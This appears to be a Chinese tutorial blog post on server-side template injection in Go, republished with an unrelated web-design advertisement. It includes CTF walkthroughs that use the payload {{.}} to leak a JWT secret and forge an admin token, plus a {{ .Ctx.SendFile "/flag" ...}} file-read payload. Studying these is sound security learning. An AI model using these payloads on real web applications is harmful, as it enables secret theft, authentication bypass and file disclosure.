新聞中心
前言
作為強(qiáng)類型的靜態(tài)語言,golang的安全屬性從編譯過程就能夠避免大多數(shù)安全問題,一般來說也唯有依賴庫和開發(fā)者自己所編寫的操作漏洞,才有可能形成漏洞利用點(diǎn),在本文,主要學(xué)習(xí)探討一下golang的一些ssti模板注入問題。

10年的高昌網(wǎng)站建設(shè)經(jīng)驗(yàn),針對設(shè)計(jì)、前端、開發(fā)、售后、文案、推廣等六對一服務(wù),響應(yīng)快,48小時(shí)及時(shí)工作處理。全網(wǎng)整合營銷推廣的優(yōu)勢是能夠根據(jù)用戶設(shè)備顯示端的尺寸不同,自動(dòng)調(diào)整高昌建站的顯示方式,使網(wǎng)站能夠適用不同顯示終端,在瀏覽器中調(diào)整網(wǎng)站的寬度,無論在任何一種瀏覽器上瀏覽網(wǎng)站,都能展現(xiàn)優(yōu)雅布局與設(shè)計(jì),從而大程度地提升瀏覽體驗(yàn)。創(chuàng)新互聯(lián)建站從事“高昌網(wǎng)站設(shè)計(jì)”,“高昌網(wǎng)站推廣”以來,每個(gè)客戶項(xiàng)目都認(rèn)真落實(shí)執(zhí)行。
GO模板引擎
Go 提供了兩個(gè)模板包。一個(gè)是 ??text/template???,另一個(gè)是??html/template??。text/template對 XSS 或任何類型的 HTML 編碼都沒有保護(hù),因此該模板并不適合構(gòu)建 Web 應(yīng)用程序,而html/template與text/template基本相同,但增加了HTML編碼等安全保護(hù),更加適用于構(gòu)建web應(yīng)用程序。
template簡介
template之所以稱作為模板的原因就是其由靜態(tài)內(nèi)容和動(dòng)態(tài)內(nèi)容所組成,可以根據(jù)動(dòng)態(tài)內(nèi)容的變化而生成不同的內(nèi)容信息交由客戶端,以下即一個(gè)簡單例子
模板內(nèi)容 Hello, {{.Name}} Welcome to go web programming…
期待輸出 Hello, liumiaocn Welcome to go web programming…而作為go所提供的模板包,text/template和html/template的主要區(qū)別就在于對于特殊字符的轉(zhuǎn)義與轉(zhuǎn)義函數(shù)的不同,但其原理基本一致,均是動(dòng)靜態(tài)內(nèi)容結(jié)合,以下是兩種模板的簡單演示。
text/template
package main
import (
"net/http"
"text/template"
)
type User struct {
ID int
Name string
Email string
Password string
}
func StringTpl2Exam(w http.ResponseWriter, r *http.Request) {
user := &User{1,"John", "test@example.com", "test123"}
r.ParseForm()
tpl := `Hi, {{ .Name }}
Your Email is {{ .Email }}`
data := map[string]string{
"Name": user.Name,
"Email": user.Email,
}
html := template.Must(template.New("login").Parse(tpl))
html.Execute(w, data)
}
func main() {
server := http.Server{
Addr: "127.0.0.1:8888",
}
http.HandleFunc("/string", StringTpl2Exam)
server.ListenAndServe()
}
struct是定義了的一個(gè)結(jié)構(gòu)體,在go中,我們是通過結(jié)構(gòu)體來類比一個(gè)對象,因此他的字段就是一個(gè)對象的屬性,在該實(shí)例中,我們所期待的輸出內(nèi)容為下
模板內(nèi)容Hi, {{ .Name }}
Your Email is {{ .Email }}
期待輸出Hi, John
Your Email is test@example.com
可以看得出來,當(dāng)傳入?yún)?shù)可控時(shí),就會經(jīng)過動(dòng)態(tài)內(nèi)容生成不同的內(nèi)容,而我們又可以知道,go模板是提供字符串打印功能的,我們就有機(jī)會實(shí)現(xiàn)xss。
package main
import (
"net/http"
"text/template"
)
type User struct {
ID int
Name string
Email string
Password string
}
func StringTpl2Exam(w http.ResponseWriter, r *http.Request) {
user := &User{1,"John", "test@example.com", "test123"}
r.ParseForm()
tpl := `Hi, {{""}}
Your Email is {{ .Email }}`
data := map[string]string{
"Name": user.Name,
"Email": user.Email,
}
html := template.Must(template.New("login").Parse(tpl))
html.Execute(w, data)
}
func main() {
server := http.Server{
Addr: "127.0.0.1:8888",
}
http.HandleFunc("/string", StringTpl2Exam)
server.ListenAndServe()
}
模板內(nèi)容Hi, {{""}}
Your Email is {{ .Email }}
期待輸出Hi, {{""}}
Your Email is test@example.com
實(shí)際輸出 彈出/xss/
這里就是text/template和html/template的最大不同了。
html/template
同樣的例子,但是我們把導(dǎo)入的模板包變成html/template
package main
import (
"net/http"
"html/template"
)
type User struct {
ID int
Name string
Email string
Password string
}
func StringTpl2Exam(w http.ResponseWriter, r *http.Request) {
user := &User{1,"John", "test@example.com", "test123"}
r.ParseForm()
tpl := `Hi, {{""}}
Your Email is {{ .Email }}`
data := map[string]string{
"Name": user.Name,
"Email": user.Email,
}
html := template.Must(template.New("login").Parse(tpl))
html.Execute(w, data)
}
func main() {
server := http.Server{
Addr: "127.0.0.1:8888",
}
http.HandleFunc("/string", StringTpl2Exam)
server.ListenAndServe()
}
可以看到,xss語句已經(jīng)被轉(zhuǎn)義實(shí)體化了,因此對于html/template來說,傳入的script和js都會被轉(zhuǎn)義,很好地防范了xss,但text/template也提供了內(nèi)置函數(shù)html來轉(zhuǎn)義特殊字符,除此之外還有js,也存在template.HTMLEscapeString等轉(zhuǎn)義函數(shù)。
而通過html/template包等,go提供了諸如Parse/ParseFiles/Execute等方法可以從字符串或者文件加載模板然后注入數(shù)據(jù)形成最終要顯示的結(jié)果。
html/template包會做一些編碼來幫助防止代碼注入,而且這種編碼方式是上下文相關(guān)的,這意味著它可以發(fā)生在 HTML、CSS、JavaScript 甚至 URL 中,模板庫將確定如何正確編碼文本。
template常用基本語法
在{{}}內(nèi)的操作稱之為pipeline
{{.}} 表示當(dāng)前對象,如user對象
{{.FieldName}} 表示對象的某個(gè)字段
{{range …}}{{end}} go中for…range語法類似,循環(huán)
{{with …}}{{end}} 當(dāng)前對象的值,上下文
{{if …}}{{else}}{{end}} go中的if-else語法類似,條件選擇
{{xxx | xxx}} 左邊的輸出作為右邊的輸入
{{template "navbar"}} 引入子模版
漏洞演示
在go中檢測 SSTI 并不像發(fā)送 {{7*7}} 并在源代碼中檢查 49 那么簡單,我們需要瀏覽文檔以查找僅 Go 原生模板中的行為,最常見的就是占位符??.??
在template中,點(diǎn)"."代表當(dāng)前作用域的當(dāng)前對象,它類似于java/c++的this關(guān)鍵字,類似于perl/python的self。
package main
import (
"net/http"
"text/template"
)
type User struct {
ID int
Name string
Email string
Password string
}
func StringTpl2Exam(w http.ResponseWriter, r *http.Request) {
user := &User{1,"John", "test@example.com", "test123"}
r.ParseForm()
tpl := `Hi, {{ .Name }}
Your Email is {{ . }}`
data := map[string]string{
"Name": user.Name,
"Email": user.Email,
}
html := template.Must(template.New("login").Parse(tpl))
html.Execute(w, data)
}
func main() {
server := http.Server{
Addr: "127.0.0.1:8888",
}
http.HandleFunc("/string", StringTpl2Exam)
server.ListenAndServe()
}
輸出為
模板內(nèi)容Hi, ` `.`Name `
Your Email is ` `.` `
期待輸出Hi, John
Your Email is map[Email:test@example.com Name:John]
可以看到結(jié)構(gòu)體內(nèi)的都會被打印出來,我們也常常利用這個(gè)檢測是否存在SSTI。
接下來就以幾道題目來驗(yàn)證一下
[LineCTF2022]gotm
package main
import (
"encoding/json"
"fmt"
"log"
"net/http"
"os"
"text/template"
"github.com/golang-jwt/jwt"
)
type Account struct {
id string
pw string
is_admin bool
secret_key string
}
type AccountClaims struct {
Id string `json:"id"`
Is_admin bool `json:"is_admin"`
jwt.StandardClaims
}
type Resp struct {
Status bool `json:"status"`
Msg string `json:"msg"`
}
type TokenResp struct {
Status bool `json:"status"`
Token string `json:"token"`
}
var acc []Account
var secret_key = os.Getenv("KEY")
var flag = os.Getenv("FLAG")
var admin_id = os.Getenv("ADMIN_ID")
var admin_pw = os.Getenv("ADMIN_PW")
func clear_account() {
acc = acc[:1]
}
func get_account(uid string) Account {
for i := range acc {
if acc[i].id == uid {
return acc[i]
}
}
return Account{}
}
func jwt_encode(id string, is_admin bool) (string, error) {
claims := AccountClaims{
id, is_admin, jwt.StandardClaims{},
}
token := jwt.NewWithClaims(jwt.SigningMethodHS256, claims)
return token.SignedString([]byte(secret_key))
}
func jwt_decode(s string) (string, bool) {
token, err := jwt.ParseWithClaims(s, &AccountClaims{}, func(token *jwt.Token) (interface{}, error) {
return []byte(secret_key), nil
})
if err != nil {
fmt.Println(err)
return "", false
}
if claims, ok := token.Claims.(*AccountClaims); ok && token.Valid {
return claims.Id, claims.Is_admin
}
return "", false
}
func auth_handler(w http.ResponseWriter, r *http.Request) {
uid := r.FormValue("id")
upw := r.FormValue("pw")
if uid == "" || upw == "" {
return
}
if len(acc) > 1024 {
clear_account()
}
user_acc := get_account(uid)
if user_acc.id != "" && user_acc.pw == upw {
token, err := jwt_encode(user_acc.id, user_acc.is_admin)
if err != nil {
return
}
p := TokenResp{true, token}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
}
w.WriteHeader(http.StatusForbidden)
return
}
func regist_handler(w http.ResponseWriter, r *http.Request) {
uid := r.FormValue("id")
upw := r.FormValue("pw")
if uid == "" || upw == "" {
return
}
if get_account(uid).id != "" {
w.WriteHeader(http.StatusForbidden)
return
}
if len(acc) > 4 {
clear_account()
}
new_acc := Account{uid, upw, false, secret_key}
acc = append(acc, new_acc)
p := Resp{true, ""}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
}
func flag_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" {
id, is_admin := jwt_decode(token)
if is_admin == true {
p := Resp{true, "Hi " + id + ", flag is " + flag}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
} else {
w.WriteHeader(http.StatusForbidden)
return
}
}
}
func root_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" {
id, _ := jwt_decode(token)
acc := get_account(id)
tpl, err := template.New("").Parse("Logged in as " + acc.id)
if err != nil {
}
tpl.Execute(w, &acc)
} else {
return
}
}
func main() {
admin := Account{admin_id, admin_pw, true, secret_key}
acc = append(acc, admin)
http.HandleFunc("/", root_handler)
http.HandleFunc("/auth", auth_handler)
http.HandleFunc("/flag", flag_handler)
http.HandleFunc("/regist", regist_handler)
log.Fatal(http.ListenAndServe("0.0.0.0:11000", nil))
}
我們先對幾個(gè)路由和其對應(yīng)的函數(shù)進(jìn)行分析。
struct結(jié)構(gòu)
type Account struct {
id string
pw string
is_admin bool
secret_key string
}
注冊功能
func regist_handler(w http.ResponseWriter, r *http.Request) {
uid := r.FormValue("id")
upw := r.FormValue("pw")
if uid == "" || upw == "" {
return
}
if get_account(uid).id != "" {
w.WriteHeader(http.StatusForbidden)
return
}
if len(acc) > 4 {
clear_account()
}
new_acc := Account{uid, upw, false, secret_key} //創(chuàng)建新用戶
acc = append(acc, new_acc)
p := Resp{true, ""}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
}
登錄功能
func auth_handler(w http.ResponseWriter, r *http.Request) {
uid := r.FormValue("id")
upw := r.FormValue("pw")
if uid == "" || upw == "" {
return
}
if len(acc) > 1024 {
clear_account()
}
user_acc := get_account(uid)
if user_acc.id != "" && user_acc.pw == upw { //檢驗(yàn)id和pw
token, err := jwt_encode(user_acc.id, user_acc.is_admin)
if err != nil {
return
}
p := TokenResp{true, token} //返回token
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
}
w.WriteHeader(http.StatusForbidden)
return
}
認(rèn)證功能
func root_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" { //根據(jù)token解出id,根據(jù)uid取出對應(yīng)account
id, _ := jwt_decode(token)
acc := get_account(id)
tpl, err := template.New("").Parse("Logged in as " + acc.id)
if err != nil {
}
tpl.Execute(w, &acc)
} else {
return
}
}
得到account
func get_account(uid string) Account {
for i := range acc {
if acc[i].id == uid {
return acc[i]
}
}
return Account{}
}
flag路由
func flag_handler(w http.ResponseWriter, r *http.Request) {
token := r.Header.Get("X-Token")
if token != "" {
id, is_admin := jwt_decode(token)
if is_admin == true { //將is_admin修改為true即可得到flag
p := Resp{true, "Hi " + id + ", flag is " + flag}
res, err := json.Marshal(p)
if err != nil {
}
w.Write(res)
return
} else {
w.WriteHeader(http.StatusForbidden)
return
}
}
}
所以思路就清晰了,我們需要得到secret_key,然后繼續(xù)jwt偽造得到flag。
而由于root_handler函數(shù)中得到的acc是數(shù)組中的地址,即會在全局變量acc函數(shù)中查找我們的用戶,這時(shí)傳入``.`secret_key`會返回空,所以我們用``.``來得到結(jié)構(gòu)體內(nèi)所有內(nèi)容。
/regist?id={{.}}&pw=123
/auth?id={{.}}&pw=123
{"status":true,"token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOmZhbHNlfQ.0Lz_3fTyhGxWGwZnw3hM_5TzDfrk0oULzLWF4rRfMss"}
帶上token重新訪問
Logged in as {{{.}} 123 false this_is_f4Ke_key}得到secret_key,進(jìn)行jwt偽造,把 ??is_admin??修改為true,key填上secret_key得到
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6Int7Ln19IiwiaXNfYWRtaW4iOnRydWV9.3OXFk-f_S2XqPdzHnl0esmJQXuTSXuA1IbpaGOMyvWo
帶上token訪問/flag
[WeCTF2022]request-bin
潔白一片,使用``.``進(jìn)行檢測
這道題目采用的框架是iris,用戶可以對日志的格式參數(shù)進(jìn)行控制,而參數(shù)又會被當(dāng)成模板渲染,所以我們就可以利用該點(diǎn)進(jìn)行ssti。
我們需要的是進(jìn)行文件的讀取,所以我們需要看看??iris??的??accesslog??庫的模板注入如何利用。
在Accesslog的結(jié)構(gòu)體中可以發(fā)現(xiàn)
type Log struct {
// The AccessLog instance this Log was created of.
Logger *AccessLog `json:"-" yaml:"-" toml:"-"`
// The time the log is created.
Now time.Time `json:"-" yaml:"-" toml:"-"`
// TimeFormat selected to print the Time as string,
// useful on Template Formatter.
TimeFormat string `json:"-" yaml:"-" toml:"-"`
// Timestamp the Now's unix timestamp (milliseconds).
Timestamp int64 `json:"timestamp" csv:"timestamp"`
// Request-Response latency.
Latency time.Duration `json:"latency" csv:"latency"`
// The response status code.
Code int `json:"code" csv:"code"`
// Init request's Method and Path.
Method string `json:"method" csv:"method"`
Path string `json:"path" csv:"path"`
// The Remote Address.
IP string `json:"ip,omitempty" csv:"ip,omitempty"`
// Sorted URL Query arguments.
Query []memstore.StringEntry `json:"query,omitempty" csv:"query,omitempty"`
// Dynamic path parameters.
PathParams memstore.Store `json:"params,omitempty" csv:"params,omitempty"`
// Fields any data information useful to represent this Log.
Fields memstore.Store `json:"fields,omitempty" csv:"fields,omitempty"`
// The Request and Response raw bodies.
// If they are escaped (e.g. JSON),
// A third-party software can read it through:
// data, _ := strconv.Unquote(log.Request)
// err := json.Unmarshal([]byte(data), &customStruct)
Request string `json:"request,omitempty" csv:"request,omitempty"`
Response string `json:"response,omitempty" csv:"response,omitempty"`
// The actual number of bytes received and sent on the network (headers + body or body only).
BytesReceived int `json:"bytes_received,omitempty" csv:"bytes_received,omitempty"`
BytesSent int `json:"bytes_sent,omitempty" csv:"bytes_sent,omitempty"`
// A copy of the Request's Context when Async is true (safe to use concurrently),
// otherwise it's the current Context (not safe for concurrent access).
Ctx *context.Context `json:"-" yaml:"-" toml:"-"`
}這里我們經(jīng)過審查,會發(fā)現(xiàn)context里面存在SendFile進(jìn)行文件強(qiáng)制下載。
所以我們可以構(gòu)造payload如下:
{{ .Ctx.SendFile "/flag" "1.txt"}}
后言
golang的template跟很多模板引擎的語法差不多,比如雙花括號指定可解析的對象,假如我們傳入的參數(shù)是可解析的,就有可能造成泄露,其本質(zhì)就是合并替換,而常用的檢測payload可以用占位符??.??,對于該漏洞的防御也是多注意對傳入?yún)?shù)的控制。
本文題目:淺學(xué)Go下的Ssti漏洞問題
網(wǎng)頁URL:http://www.5511xx.com/article/dhpgche.html


咨詢
建站咨詢
